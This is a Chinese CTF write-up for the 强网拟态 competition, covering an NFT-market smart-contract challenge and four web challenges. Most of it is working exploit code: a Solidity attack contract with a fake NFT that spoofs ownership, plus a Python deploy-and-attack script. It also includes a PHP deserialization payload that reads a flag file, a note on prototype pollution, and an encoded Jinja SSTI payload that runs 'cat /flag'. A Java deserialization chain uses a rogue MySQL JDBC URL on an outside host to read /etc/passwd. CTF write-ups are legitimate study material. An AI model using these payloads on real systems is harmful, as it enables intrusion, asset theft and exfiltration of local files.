强网拟态小结-blockchian&web

blockchain

分析

做法其实和TCTF的那个nft差不多,但版本修改了abi编码的漏洞不再有用,所以最后买nft3的步骤是有差别的,但前两个是一样的。

  • 从airdrop可以拿5个token,直接买NFT1
  • 挂NFT1低价 然后用purchasetest挂高价NFT1让NFTMARKET去买高价的NFT然后就有钱买NFT2了
  • 造一个假的nft3放到order的第一个,在purchaseWithCoupon里面事先会_deleteOrder一次,然后再获取我们假的nft的owner(也就是我们自己),最后getOrder(coupon.orderId).nftAddress(这也是唯一和tctf不一样的地方)获取真的nft3,但此时owner是我们自己,所以最后safeTransferFrom这里导致最后能够修改真正nft3的拥有者。

攻击

攻击合约

pragma solidity 0.8.16;

import "./source.sol";
contract Attack {

    CtfMarket public ctfMarket;
    address public account;
    CtfNFT public ctfNFT;
    CtfToken public ctfToken;
    HackerNFT public HackerNft;

    function setCtfMarket_addr(address addr) public {
        ctfMarket = CtfMarket(addr);
        ctfNFT= CtfNFT(address(ctfMarket.ctfNFT()));
        ctfToken=CtfToken(address(ctfMarket.ctfToken()));
        HackerNft = new HackerNFT(address(ctfMarket),address(ctfMarket.verifier()),address(account));
    }
    function setaccount(address addr) public {
        account = addr;

    }
    function attack11() public{
        ctfToken.airdrop();
        ctfMarket.createOrder(address(HackerNft),3,1);
        this.approve(address(this), 1);
        ctfToken.approve(address(ctfMarket),200000000000);
        ctfToken.approve(address(ctfNFT),200000000000);
        ctfToken.approve(address(ctfToken),200000000000);
        ctfMarket.purchaseOrder(0);
    }

    function attack2() public {
        ctfMarket.createOrder(address(ctfNFT),1,1);
        ctfNFT.setApprovalForAll(address(ctfMarket),true);
        ctfMarket.purchaseTest(address(ctfNFT),1,1337);
        ctfMarket.purchaseOrder(1);
        ctfMarket.purchaseOrder(1);
    }
    function approve(address a,uint b) public {

    }
    function safeTransferFrom(address a,address b,uint c) public {

    }

    function getFakenft() public returns (address){
        return address(HackerNft);
    }
    function ownerOf(uint dd) public returns (address){
        if(dd==2){
            return address(this);
        }else if(dd==3){
            return address(account);
        }

    }


    function attackfor3(uint8 v, bytes32 r, bytes32 s) public {

        SignedCoupon memory scoupon;
        ctfNFT.setApprovalForAll(account,true);
        ctfToken.approve(address(account),200000000000);
        scoupon.coupon.orderId=0;
        scoupon.coupon.newprice=1;
        scoupon.coupon.issuer=address(account);
        scoupon.coupon.user=address(this);
        scoupon.coupon.reason="";
        scoupon.signature.v=v;
        scoupon.signature.rs[0]=r;
        scoupon.signature.rs[1]=s;
        ctfMarket.purchaseWithCoupon{gas:200000}(scoupon);

    }

    function attack4() public {
        ctfNFT.setApprovalForAll(account,true);
        ctfMarket.win();
        ctfNFT.transferFrom(address(this),address(account),1);
        ctfNFT.transferFrom(address(this),address(account),2);
        ctfNFT.transferFrom(address(this),address(account),3);
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
contract AA {

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    address issuer;
    address user;
    uint256 newprice;
    bytes reason;
    Order order;
    bytes32 public hashl;
    event deb(
         address  _issuer,
        address  _user,
        Order  order,
        uint newprice,
        bytes reason
    );
    function setinit(address _issuer, address _user, uint _newprice, address _nftaddress, uint _price, uint _tokenId) public {
        issuer = _issuer;
        user = _user;
        newprice = _newprice;
        order.nftAddress = _nftaddress;
        order.price = _price;
        order.tokenId = _tokenId;

        bytes memory serialized = abi.encode(
            "I, the issuer", issuer,
            "offer a special discount for", user,
            "to buy", order, "at", newprice,
            "because", ""
        );
        hashl = keccak256(serialized);
        emit deb(issuer,user,order,newprice,"");
    }

    function calcsign(bytes32 _ha,uint8 v, bytes32 r, bytes32 s) public view returns(address){
        return ecrecover(_ha, v, r, s);
    }

}
contract HackerNFT is ERC721, Ownable {
    address public Market;
    address public Verifier;
    address public Hacker;
    address public Me;

    constructor(
        address _marketAddress,
        address _verifierAddress,
        address _me
    ) ERC721("HackerNFT", "NFT") public  {
        Market = _marketAddress;
        Verifier = _verifierAddress;
        Hacker = msg.sender;
        Me = _me;
        _setApprovalForAll(address(this), Hacker, true);
        _setApprovalForAll(address(Market), Hacker, true);
    }

    function mint(address to, uint256 tokenId) external onlyOwner {
        _mint(to, tokenId);
    }

    function ownerOf(uint256 tokenId) public view override returns (address) {
        if (msg.sender == Verifier) {
            return Me;
        } else if (msg.sender == Market) {
            return Market;
        } else {
            return Hacker;
        }
    }
}

攻击脚本,本地私链一键部署和攻击

import solcx
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
 
def generate_tx(chainID, to, data, value):
    # print(web3.eth.gasPrice)
    # print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(account_address),
        'to': to,
        'gasPrice': web3.eth.gasPrice ,
        'gas': 672197400,
        'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    # print(txn)
    return txn
 
def sign_and_send(txn):
    signed_txn = web3.eth.account.signTransaction(txn, private_key)
    txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
    # print("txn_hash=", txn_hash)
    return txn_receipt
 
 
def deploy_attack():
    compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
    data = compiled_sol['attack.sol:Attack']['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['attack.sol:Attack']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
 
def deploy_nft():
    compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
    data = compiled_sol['ctf.sol:CtfMarket']['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['ctf.sol:CtfMarket']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
def deploy_AA():
    compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
    data = compiled_sol['attack.sol:AA']['bin']
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['attack.sol:AA']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
def rsv(_hash):
    signed_message = web3.eth.account.signHash(_hash, private_key)
    print(signed_message.messageHash.hex())
    r = '0x'+signed_message.signature.hex()[2:66]
    s = '0x'+signed_message.signature.hex()[66:-2]
    v = '0x'+signed_message.signature.hex()[-2:]
    return r,s,v
if __name__ == '__main__':
    # exp()
    solcx.install_solc('0.8.16')
    rpc = "http://127.0.0.1:8545"
    web3 = Web3(HTTPProvider(rpc))
    private_key = 'c2aa19cf83ba45863a005ed560c8c84c1f0ca38eaf5123c6cc88d67c3a9c3f03'
    acct = web3.eth.account.from_key(private_key)
    account_address = acct.address
    chain_id = 5777
    print("[+] account_address is " + str(account_address))
    print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
 
    # attack_key = '8428b975e270727086349607d6a4d3941ce22176b89e148f956d56fce364175c'
    # acct = web3.eth.account.from_key(private_key)
    # account_address = acct.address
 
    #calc signature
    AA_address,AA_abi = deploy_AA()
    AA_instance = web3.eth.contract(address=AA_address, abi=AA_abi)
    print(AA_instance.all_functions())
 
    contract_address,contract_abi = deploy_nft()
    contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi)
    print(contract_instance.all_functions())
 
    signed_tx = contract_instance.functions.ctfNFT().call()
    print("[+] ctfNFT_address is " + signed_tx)
    signed_tx = contract_instance.functions.ctfNFT().call()
    print("[+] ctfmarket_address is " + contract_address)
    signed_tx = contract_instance.functions.ctfToken().call()
    print("[+] ctfToken_address is " + signed_tx)
    signed_tx = contract_instance.functions.verifier().call()
    print("[+] verifier_address is " + signed_tx)
 
    attack_address,attack_abi = deploy_attack()
    attack_instance = web3.eth.contract(address=attack_address, abi=attack_abi)
    print(attack_instance.all_functions())
    print("[+] attack_address is " + attack_address)
 
 
    #attack.setaccount()
    functionSign = HexBytes(web3.sha3(text='setaccount(address)')).hex()[0:10]
    setaccount_addr = generate_tx(chain_id, attack_address,functionSign + "000000000000000000000000" + account_address[2:], 0)
    sign_and_send(setaccount_addr)
    print("[+] account_address is " + attack_instance.functions.account().call())
 
    #attack.setCtfMarket_addr()
    functionSign = HexBytes(web3.sha3(text='setCtfMarket_addr(address)')).hex()[0:10]
    setCtfMarket_addr = generate_tx(chain_id, attack_address, functionSign + "000000000000000000000000" + contract_address[2:],0)
    sign_and_send(setCtfMarket_addr)
    print("[+] CtfMarket_address is " + attack_instance.functions.ctfMarket().call())
 
 
    #attack.attack11()
    functionSign = HexBytes(Web3.sha3(text='attack11()')).hex()[0:10]
    attack11_addr = generate_tx(chain_id, attack_address,functionSign, 0)
    sign_and_send(attack11_addr)
    #contract.getOrder[0]
    print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))
 
    #attack.attack2()
    functionSign = HexBytes(Web3.sha3(text='attack2()')).hex()[0:10]
    attack2_addr = generate_tx(chain_id, attack_address,functionSign, 0)
    sign_and_send(attack2_addr)
    print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))
    print("[+] order[1] is " + str(contract_instance.functions.getOrder(1).call()))
    fakeNft_address = attack_instance.functions.HackerNft().call()
    print("[+] fakeNft_address is " +  fakeNft_address)
 
    #AA.setinit
    data = '''0xc2af3f15
    000000000000000000000000{}
    000000000000000000000000{}
    0000000000000000000000000000000000000000000000000000000000000001
    000000000000000000000000{}
    0000000000000000000000000000000000000000000000000000000000000001
    0000000000000000000000000000000000000000000000000000000000000003
    '''.format(account_address[2:],attack_address[2:],fakeNft_address[2:]).replace('\n','').replace(' ','')
    # print(data)
    functionSign = HexBytes(Web3.sha3(text='setinit(address,address,uint256,address,uint256,uint256)')).hex()[0:10]
    setinit_addr = generate_tx(chain_id, AA_address,data, 0)
    sign_and_send(setinit_addr)
 
    hash = AA_instance.functions.hashl().call()
    r,s,v = rsv(hash)
    print(v,r,s)
 
    ##attack.attackfor3()
    data = '''0xf98ecaa700000000000000000000000000000000000000000000000000000000000000{}{}{}'''.format(v[2:],r[2:],s[2:])
    functionSign = HexBytes(Web3.sha3(text='attackfor3(uint8,byte32,byte32)')).hex()[0:10]
    attackfor3_addr = generate_tx(chain_id, attack_address,data, 0)
    sign_and_send(attackfor3_addr)
 
    ##attack.attack4()
    functionSign = HexBytes(Web3.sha3(text='attack4()')).hex()[0:10]
    attack4_addr = generate_tx(chain_id, attack_address,functionSign, 0)
    sign_and_send(attack4_addr)
 
    ##ctfMarket.win()
    functionSign = HexBytes(Web3.sha3(text='win()')).hex()[0:10]
    flag_addr = generate_tx(chain_id, contract_address,functionSign, 0)
    flag = sign_and_send(flag_addr)
    print(contract_instance.events.SendFlag().processLog(flag["logs"][0]))
 

Web

ezus

读源码

/index.php/tm.php/%80?source

字符串逃逸反序列化读hint.php,然后读f1111444449999.txt

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=111111111111";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"mochu7://prankhub/../../../../../../../f1111444449999.txt";}

WHOYOUARE

nodejs 原型链污染,使用constructor.prototype代替__proto__,使用1来覆盖数组的第二个数据。运行两次。

没有人比我更懂py

ssti网上搜搜payload

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\143\141\164\40\57\146\154\141\147')['\162\145\141\144']()}}

NoRCE

BadAttributeValueExpException调用toString然后connect函数能打二次返序列化。

package com.example.demo.exp;
 
import com.example.demo.bean.Connect;
import com.example.demo.utils.tools;
 
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;
 
public class payload {
    public static  void setFieldValue(Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(key);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static byte[] serialize(Object o) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(o);
        oos.close();
        bos.close();
        return bos.toByteArray();
    }
    public static byte[] serialize2(Object o) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeUTF("s00ABX");
        oos.writeObject(o);
        oos.close();
        bos.close();
        return bos.toByteArray();
    }
    public static Object deserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bis);
        bis.close();
        ois.close();
        return ois.readObject();
    }
    public static Object getFieldValue(Object obj, String key) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(key);
        field.setAccessible(true);
        return field.get(obj);
    }
    public static  String getObject() throws Exception {
        com.example.demo.bean.MyBean myBean = new com.example.demo.bean.MyBean("","");
        Connect connect = new Connect("jdbc:mysql://10.91.107.14:2333/kkfine?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&username=fileread_/etc/passwd&password=kkfine","","");
        setFieldValue(myBean,"conn",connect);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",myBean);
        String payload = new String(Base64.getEncoder().encode(serialize(badAttributeValueExpException)));
        return payload;
    }
 
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/" + getObject());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
 
        com.example.demo.bean.MyBean myBean = new com.example.demo.bean.MyBean("","");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",myBean);
        setFieldValue(myBean,"conn",rmiConnector);
 
        byte[] payload =  serialize2(badAttributeValueExpException);
 
        System.out.println(new String(Base64.getEncoder().encode(payload)));
        String data = new String(Base64.getEncoder().encode(payload));
//        deserialize(payload);
        byte[] bytes = tools.base64Decode(data);
 
        InputStream inputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String secret = data.substring(0, 6);
        String key = objectInputStream.readUTF();
        if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
            objectInputStream.readObject();
        }
 
    }
}